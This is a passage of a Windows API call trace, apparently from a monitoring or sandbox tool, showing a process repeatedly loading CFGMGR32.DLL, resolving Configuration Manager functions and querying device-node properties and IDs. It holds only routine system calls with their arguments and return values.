Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.216] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46c58703, dwHighDateTime=0x1d9eb0c)) [0233.216] SetEvent (hEvent=0x248) returned 1 [0233.220] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.220] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.224] malloc (_Size=0x18) returned 0x20abc281d40 [0233.224] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.225] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46c7ee6c, dwHighDateTime=0x1d9eb0c)) [0233.225] SetEvent (hEvent=0x248) returned 1 [0233.230] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.234] malloc (_Size=0x18) returned 0x20abc2819e0 [0233.234] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0233.235] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46c7ee6c, dwHighDateTime=0x1d9eb0c)) [0233.235] SetEvent (hEvent=0x248) returned 1 [0233.240] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.244] malloc (_Size=0x18) returned 0x20abc281f00 [0233.244] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.246] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46ca4b22, dwHighDateTime=0x1d9eb0c)) [0233.247] SetEvent (hEvent=0x248) returned 1 [0233.250] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.250] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.253] malloc (_Size=0x18) returned 0x20abc282020 [0233.348] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x22, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0233.349] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x46dafc24, dwHighDateTime=0x1d9eb0c)) [0233.349] SetEvent (hEvent=0x248) returned 1 [0233.354] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.354] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.358] malloc (_Size=0x18) returned 0x20abc281a80 [0233.358] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x22, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0233.358] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x46dafc24, dwHighDateTime=0x1d9eb0c)) [0233.359] SetEvent (hEvent=0x248) returned 1 [0233.362] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.362] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.366] malloc (_Size=0x18) returned 0x20abc281da0 [0233.366] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0233.366] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46dd600e, dwHighDateTime=0x1d9eb0c)) [0233.367] SetEvent (hEvent=0x248) returned 1 [0233.372] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.372] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.375] malloc (_Size=0x18) returned 0x20abc281ea0 [0233.376] CM_Get_Device_IDA (in: dnDevInst=0x23, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\ACPI0010\\2&DABA3FF&0") returned 0x0 [0233.376] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x46dd600e, dwHighDateTime=0x1d9eb0c)) [0233.376] SetEvent (hEvent=0x248) returned 1 [0233.380] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.380] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.384] malloc (_Size=0x18) returned 0x20abc281ce0 [0233.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0233.384] malloc (_Size=0x60) returned 0x20abc2807d0 [0233.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0233.385] free (_Block=0x20abc2807d0) [0233.385] malloc (_Size=0x48) returned 0x20abc2ab9f0 [0233.385] 